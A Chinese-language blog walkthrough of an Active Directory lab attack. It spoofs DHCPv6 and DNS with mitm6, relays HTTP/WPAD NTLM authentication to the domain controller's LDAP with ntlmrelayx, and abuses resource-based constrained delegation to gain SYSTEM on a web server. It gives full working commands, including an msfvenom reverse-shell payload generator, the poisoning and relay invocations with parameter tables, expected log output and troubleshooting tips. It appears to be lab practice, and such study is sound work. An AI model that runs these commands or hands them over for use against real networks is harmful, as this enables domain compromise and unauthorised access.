内网渗透:域渗透

域渗透

1、概念和原理

1.1中继委派

中继: 钓鱼欺骗

委派: 以机器用户的身份去访问某台设备(在dc上进行),叫做委派访问,若配置不当,则可能让用户以任意机器任意身份去访问sql server

而我们这是进行窃取机器用户的身份,来窃取域中的一个访问权限

 ① ④ HTTP WPAD (NTLM认证)            ⑤ 中继 NTLM 到 LDAP
 WebServer ────────────────► Kali ───────────────────────► DC
    ▲ ② DHCPv6 Solicit         (ntlmrelayx)       ⑥ 写入 msDS-AllowedToActOnBehalfOfOtherIdentity
    │ ③ 伪造 DNS: wpad → Kali   mitm6
    └──────────── ⑦ WebServer 信任 DESKTOP-BINE7L8$ 可代表任意用户委派

 ⑧ getST(S4U2Self + S4U2Proxy) → administrator 的 cifs/WIN-VMCDN5AMRDJ 票据
 ⑨ psexec -k 凭票据登录 WebServer → SYSTEM

为什么用 HTTP 而不是 SMB 中继:Server 2016+ 默认启用 SMB 签名,SMB→LDAP 的 NTLM Relay 会被 MIC 校验阻断。mitm6 把目标诱导到 HTTP(WPAD 代理配置下载),HTTP 层没有 SMB 签名,NTLM blob 可以干净地中继到 DC 的 LDAP。

RBCD(基于资源的约束委派):把目标 WebServer 机器账户的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性写成受控的 Win10 机器账户(DESKTOP-BINE7L8$)。之后用该机器账户 hash 走 S4U2Self(以任意用户名义向 KDC 要一张到 WebServer 的票据)+ S4U2Proxy(形状转换),就能伪造 administrator 访问 WebServer,无需任何密码。机器账户修改自身对象属性属于 SELF 权限,天然合法。

2、实验过程

2.1 实验所需的工具和设备

  • 实验工具: mitm6 , ntlmrelayx.py(可以自动接收数据包之后并进行修改,十分智能)

  • 实验设备: web server , kali , DC , win10

2.2实验大致流程

1.搭建隧道

同样,先在msf的模块生成对应的木马,然后在win10关闭防火墙的实时保护

木马指令

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.139.129  LPORT=9191  -f psh-reflection  -o /tmp/payload12345.exe

生成后拖到win10即可

注:如果托不过去,cd到木马文件所在的目录,输入以下指令即可
chmod 777 payload12345.exe

然后成功开启监听即可

2.开始钓鱼:广播发送dns欺骗包

sudo mitm6 -d saionjisekai.org -i eth1 2>&1 | tee /tmp/mitm6.log
  • -d:伪造的域后缀
  • -i:进行欺骗的网卡

生效条件:目标机器必须发送 DHCPv6 Solicit 包(重启机器 / 重启网卡 / DHCP 租约续期时触发)。这也是为什么后面要重启 WebServer。

然后就开始投毒了

3.等待web server给我们发送的认证包

但要注意以下几点:

  • 要把kali的80端口服务终止掉

  • 将apache终止掉

  • 将域渗透的工具包放在kali里面,并设置环境变量,因为kali中有两个版本的impacket,如果没有指定,则默认pip下载的impacket

4.搭建隧道

不多赘述

5.启动中继

# 终端 A:mitm6(阶段三已启动,root 终端)
# 终端 B:ntlmrelayx(root 终端,直接跑、不要 sudo)
export PYTHONPATH=/home/kali/Desktop/impacket-0.13.0
cd /home/kali/Desktop/impacket-0.13.0
proxychains4 -q python3 ./examples/ntlmrelayx.py -6 -t ldap://192.168.41.131 --delegate-access --escalate-user 'DESKTOP-BINE7L8$' -smb2support --http-port 80 -wh wpad.saionjisekai.org 2>&1 | tee /root/http_relay.log

确认 banner 是 Impacket v0.13.0 而不是 v0.14.0.dev0,否则就是版本混装(见 6.1 版本坑条)。

参数说明:

参数 含义
-6 监听 IPv6(配合 mitm6)
-t ldap://192.168.41.131 中继目标:DC 的 LDAP
--delegate-access 拿到认证后执行委派攻击(配置 RBCD)
--escalate-user 'DESKTOP-BINE7L8$' 指定已存在的机器账户做委派源(绕开 TLS 建账户)
-smb2support 支持 SMB2 客户端(注意会占用 445)
--http-port 80 WPAD 假代理服务器监听 80
-wh wpad.saionjisekai.org WPAD 主机名

注意:中继全程经默认 proxychains 配置(socks5 127.0.0.1 1080)走 1080 隧道(WebServer 自身 frpc 注册的 SOCKS5),LDAP 报文从 WebServer 出去到达 DC。


6.触发认证,确认委派写入

  1. 重启 WebServer(或重启其网卡)——触发 DHCPv6 Solicit + WPAD 查询。
  2. 观察两个终端日志:
# mitm6 日志(终端 A)出现欺骗应答:
Sent spoofed answer to xxxx:... 

# relay 日志(终端 B)出现 WebServer 机器账户认证并被中继:
HTTPD: Received connection from ...
Authenticating against ldap://192.168.41.131 as WIN-VMCDN5AMRDJ\$ ...
Delegation rights modified succesfully!
  1. 验证 RBCD 配置生效:msDS-AllowedToActOnBehalfOfOtherIdentity 已写入 DESKTOP-BINE7L8$ 的 SID,即 Win10 机器账户可以代表任意用户向 WebServer 委派。

注意:日志中还会看到 DESKTOP-BINE7L8$(Win10 自身)的 HTTP 认证被中继,属正常现象(无效操作被忽略)。要等到 WIN-VMCDN5AMRDJ$(WebServer 机器账户)的认证出现才算成功。
若重启后长时间无认证:再重启网卡或让 WebServer 访问任意网站,触发 WPAD 查询。

> 抢跑坑(必修):单 -t 目标只有一次被写委派的机会。如果 WS 上有人开着浏览器,用户态浏览器的 SVC_WEB 认证会先中继成功、把唯一目标”耗尽”,之后的机器账户请求只会得到 no more targets left,那一次重启就白费了(日志里 All targets processed! 越多越说明被抢跑)。正确顺序:先关掉 WS 上所有浏览器 → 再重启 relay(清空目标)→ 再重启 WS,让开机阶段 SYSTEM 服务的机器账户认证第一个进来。

7.导出用户的hash值,并通过getST 申请服务票据

8.通过票据进行远程登录

同样,这两步和之前的操作方法相同,不过多进行赘述

WebServer 已被完全控制,权限为 SYSTEM。攻击链闭环验证成功。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇